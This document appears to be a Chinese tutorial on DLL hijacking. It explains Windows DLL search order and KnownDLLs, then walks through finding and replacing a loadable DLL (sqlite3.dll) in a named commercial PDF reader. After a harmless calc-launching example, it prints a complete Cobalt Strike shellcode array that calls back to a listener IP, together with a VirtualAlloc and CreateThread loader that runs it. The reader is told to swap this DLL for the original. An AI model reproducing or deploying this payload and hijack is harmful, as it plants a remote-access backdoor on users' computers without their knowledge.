dll是什么
dll为动态链接库文件,又称"应用程序拓展",是软件文件类型。在Windows中许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库文件,即dll文件,放置于系统中,个人理解类似于我们编程中引入的模块。
dll劫持漏洞原理
如果在一个进程加载dll时没有指定dll的绝对路径,那么windows会尝试去按照顺序搜索这些特定目录来查找这个dll。如果攻击者将恶意的dll放在优先于正常dll所在目录,那么就能够欺骗系统去加载恶意的dll,形成dll劫持。
DLL路径搜索目录顺序
- 程序加载目录
- 系统目录。使用GetSystemDirectory获取该路径
- 16位系统目录
- windows目录,使用GetWindowsDirectory获取该路径
- windows当前目录
- PATH环境变量中列出的目录
Know Dlls注册表项
从windows7之后,微软为了更进一步的防御系统的dll劫持,将一些容易被劫持的系统dll写进了一个注册表项中,那么凡是在此项目下的dll文件就会被禁止从exe自身所在目录下调用,而只能从系统目录即system32目录下调用
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
处于开启状态,如果手动设置为0,关闭该安全选项,搜索顺序为:在以上顺序的基础上,将 当前目录 修改至 系统目录 的位置,其他顺移。
另外当前应用程序加载dll时如果仅指定dll名称时,那么将按照以上顺序搜索dll文件,不过在加载之前还需要满足以下两条规范: 1.当内存中已加载相同模块名称的dll时,系统将直接夹在该dll,不会进行搜索,除非设置了dll重定向选项 2.如果要加载的dll模块属于known dlls,系统直接加载系统目录下的该dll,不会进行搜索
windows操作系统通过”dll路径搜索目录顺序"和“known dlls注册表项"来确定应用程序所要调用的dll的路径,当一个进程尝试加载一个dll的时候,会先尝试搜索程序所处的目录,若还没有找到,则向下搜索16位系统目录即system目录,然后windows目录,当前目录,path环境变量的各个目录。 这样的加载顺序很容易就会导致一个系统的dll被劫持,只要攻击者将目标文件和恶意dll放在一起即可导致恶意dll搜索顺序优先于系统dll目录加载,就能够欺骗系统去加载恶意的dll,形成"dll劫持"。
手动劫持
用到的工具 Process Monitor v3.60 通过process monitor监控dll调用是一种最基础的寻找dll劫持的方式 设置过滤规则:(默认的不需要改变)
Path ends with .dll
Result is NAME NOT FOUND
Process Name contains 进程名称
然后这里找到一个需要用到loadlibrary这个api的dll,这里找有个api的原因是因为如果该dll的调用栈中存在有 **loadlibrary(Ex) * *,说明这个dll被进程所动态加载的。如果这种利用场景下,伪造的dll文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在dll被加载成功加载之后的事情。 loadlibrary和loadlibraryex是一个本地加载,一个是远程加载,如果dll不在调用的同一目录下,就可以使用loadlibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL,就需要使用loadlibraryex进行远程加载
LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
LoadLibraryEx的最后一个参数设置为load_With_altered_Search_path即可让系统dll搜索顺序从我们设置的目录开始
找到可以被劫持的dll文件 编写恶意的dll
// dllmain.cpp : 定义 DLL 应用程序的入口点。
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
用vs创建dll项目,并生成
aheadlib工具劫持
这里演示程序为极速pdf https://jisupdf.com/ 安装好有得到如下文件 这里先用cobalt strike生成payload 设置好监听,然后生成 打开工具aheadlib,然后这里以sqlite3.dll为例 然后就会生成一个cpp文件 新建一个dll项目 将生成的cpp文件覆盖到dllmain.cpp文件中
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x90\x1f\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x74\x47\x39\x68\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x41\x55\x29\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x33\x2e\x34\x36\x00\x00\x00\x00\x00";
void *exec = VirtualAlloc(0,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,buf,sizeof(buf));
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);//创建线程运行shellcode
然后生成文件 将生成的dll文件和原dll文件进行替换 注意payload的位数要和生产dll文件的位数一致
|